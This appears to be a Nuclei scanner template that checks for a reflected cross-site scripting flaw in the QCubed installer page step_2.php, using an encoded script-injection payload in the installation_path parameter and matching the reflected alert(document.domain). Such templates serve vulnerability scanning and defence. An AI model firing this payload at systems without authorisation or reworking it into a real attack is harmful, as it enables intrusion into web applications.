32 lines
845 B
YAML
32 lines
845 B
YAML
id: qcubed-xss
|
|
|
|
info:
|
|
name: Qcubed Reflected XSS
|
|
author: pikpikcu
|
|
severity: medium
|
|
reference: https://github.com/qcubed/qcubed/issues/1230
|
|
tags: xss,qcubed
|
|
|
|
requests:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/assets/php/_devtools/installer/step_2.php?installation_path=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
|
|
- "{{BaseURL}}/qcubed/assets/php/_devtools/installer/step_2.php?installation_path=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
|
|
|
|
stop-at-first-match: true
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
words:
|
|
- '</script><script>alert(document.domain)</script>'
|
|
part: body
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- text/html
|